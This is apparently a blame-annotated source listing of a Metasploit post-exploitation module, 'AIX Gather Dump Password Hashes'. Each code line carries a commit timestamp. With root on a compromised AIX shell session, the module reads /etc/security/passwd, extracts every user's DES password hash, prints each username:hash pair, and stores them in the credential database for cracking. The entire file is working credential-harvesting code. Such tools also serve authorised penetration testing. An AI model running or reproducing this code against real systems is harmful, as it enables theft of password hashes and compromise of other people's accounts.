2012-01-07 04:31:22 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2012-01-07 04:31:22 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
require 'rex'
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Post
|
2012-01-07 04:31:22 +00:00
|
|
|
|
2013-09-05 18:41:25 +00:00
|
|
|
include Msf::Post::File
|
|
|
|
include Msf::Post::Linux::Priv
|
2012-01-07 04:31:22 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def initialize(info={})
|
|
|
|
super( update_info( info,
|
|
|
|
'Name' => 'AIX Gather Dump Password Hashes',
|
|
|
|
'Description' => %q{ Post Module to dump the password hashes for all users on an AIX System},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' => ['theLightCosine'],
|
|
|
|
'Platform' => [ 'aix' ],
|
|
|
|
'SessionTypes' => [ 'shell' ]
|
|
|
|
))
|
2012-01-07 04:31:22 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
2012-01-07 04:31:22 +00:00
|
|
|
|
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def run
|
|
|
|
if is_root?
|
|
|
|
passwd_file = read_file("/etc/security/passwd")
|
2012-01-07 04:31:22 +00:00
|
|
|
|
2014-06-24 20:23:37 +00:00
|
|
|
username = ''
|
|
|
|
hash = ''
|
2012-01-07 04:31:22 +00:00
|
|
|
|
2014-06-24 20:23:37 +00:00
|
|
|
passwd_file.each_line do |line|
|
|
|
|
user_line = line.match(/(\w+):/)
|
|
|
|
if user_line
|
|
|
|
username = user_line[1]
|
|
|
|
end
|
2012-01-07 04:31:22 +00:00
|
|
|
|
2014-06-24 20:23:37 +00:00
|
|
|
hash_line = line.match(/password = (\w+)/)
|
|
|
|
if hash_line
|
|
|
|
hash = hash_line[1]
|
|
|
|
end
|
|
|
|
|
|
|
|
if hash.present?
|
|
|
|
print_good "#{username}:#{hash}"
|
|
|
|
credential_data = {
|
|
|
|
jtr_format: 'des',
|
|
|
|
origin_type: :session,
|
|
|
|
post_reference_name: self.refname,
|
|
|
|
private_type: :nonreplayable_hash,
|
|
|
|
private_data: hash,
|
|
|
|
session_id: session_db_id,
|
|
|
|
username: username,
|
|
|
|
workspace_id: myworkspace_id
|
|
|
|
}
|
|
|
|
create_credential(credential_data)
|
|
|
|
username = ''
|
|
|
|
hash = ''
|
|
|
|
end
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
2014-06-24 20:23:37 +00:00
|
|
|
|
|
|
|
else
|
|
|
|
print_error("You must run this module as root!")
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
2012-01-07 04:31:22 +00:00
|
|
|
|
2014-06-24 20:23:37 +00:00
|
|
|
end
|
2012-01-07 04:31:22 +00:00
|
|
|
|
|
|
|
end
|